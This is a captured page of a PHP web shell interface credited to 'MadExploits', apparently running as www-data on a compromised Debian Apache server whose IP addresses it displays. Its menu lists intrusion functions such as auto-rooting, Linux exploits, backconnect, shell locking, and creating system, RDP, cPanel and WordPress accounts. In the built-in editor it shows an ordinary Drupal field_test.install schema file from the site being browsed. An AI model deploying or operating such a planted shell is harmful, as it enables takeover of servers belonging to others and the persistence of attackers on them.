Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 13.59.250.115
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
field /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
field.test
163.66
KB
-rw-r--r--
field_test.entity.inc
14.42
KB
-rw-r--r--
field_test.field.inc
11.79
KB
-rw-r--r--
field_test.info
301
B
-rw-r--r--
field_test.install
4.22
KB
-rw-r--r--
field_test.module
9.17
KB
-rw-r--r--
field_test.storage.inc
13.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : field_test.install
<?php /** * @file * Install, update and uninstall functions for the field_test module. */ /** * Implements hook_install(). */ function field_test_install() { // hook_entity_info_alter() needs to be executed as last. db_update('system') ->fields(array('weight' => 1)) ->condition('name', 'field_test') ->execute(); } /** * Implements hook_schema(). */ function field_test_schema() { $schema['test_entity'] = array( 'description' => 'The base table for test_entities.', 'fields' => array( 'ftid' => array( 'description' => 'The primary identifier for a test_entity.', 'type' => 'serial', 'unsigned' => TRUE, 'not null' => TRUE, ), 'ftvid' => array( 'description' => 'The current {test_entity_revision}.ftvid version identifier.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ), 'fttype' => array( 'description' => 'The type of this test_entity.', 'type' => 'varchar', 'length' => 32, 'not null' => TRUE, 'default' => '', ), 'ftlabel' => array( 'description' => 'The label of this test_entity.', 'type' => 'varchar', 'length' => 255, 'not null' => TRUE, 'default' => '', ), ), 'unique keys' => array( 'ftvid' => array('ftvid'), ), 'primary key' => array('ftid'), ); $schema['test_entity_bundle_key'] = array( 'description' => 'The base table for test entities with a bundle key.', 'fields' => array( 'ftid' => array( 'description' => 'The primary identifier for a test_entity_bundle_key.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ), 'fttype' => array( 'description' => 'The type of this test_entity.', 'type' => 'varchar', 'length' => 32, 'not null' => FALSE, 'default' => '', ), ), ); $schema['test_entity_bundle'] = array( 'description' => 'The base table for test entities with a bundle.', 'fields' => array( 'ftid' => array( 'description' => 'The primary identifier for a test_entity_bundle.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ), ), ); $schema['test_entity_revision'] = array( 'description' => 'Stores information about each saved version of a {test_entity}.', 'fields' => array( 'ftid' => array( 'description' => 'The {test_entity} this version belongs to.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ), 'ftvid' => array( 'description' => 'The primary identifier for this version.', 'type' => 'serial', 'unsigned' => TRUE, 'not null' => TRUE, ), ), 'indexes' => array( 'nid' => array('ftid'), ), 'primary key' => array('ftvid'), ); return $schema; } /** * Implements hook_field_schema(). */ function field_test_field_schema($field) { if ($field['type'] == 'test_field') { return array( 'columns' => array( 'value' => array( 'type' => 'int', 'size' => 'medium', 'not null' => FALSE, ), ), 'indexes' => array( 'value' => array('value'), ), ); } else { $foreign_keys = array(); // The 'foreign keys' key is not always used in tests. if (!empty($field['settings']['foreign_key_name'])) { $foreign_keys['foreign keys'] = array( // This is a dummy foreign key definition, references a table that // doesn't exist, but that's not a problem. $field['settings']['foreign_key_name'] => array( 'table' => $field['settings']['foreign_key_name'], 'columns' => array($field['settings']['foreign_key_name'] => 'id'), ), ); } return array( 'columns' => array( 'shape' => array( 'type' => 'varchar', 'length' => 32, 'not null' => FALSE, ), 'color' => array( 'type' => 'varchar', 'length' => 32, 'not null' => FALSE, ), ), ) + $foreign_keys; } }
Close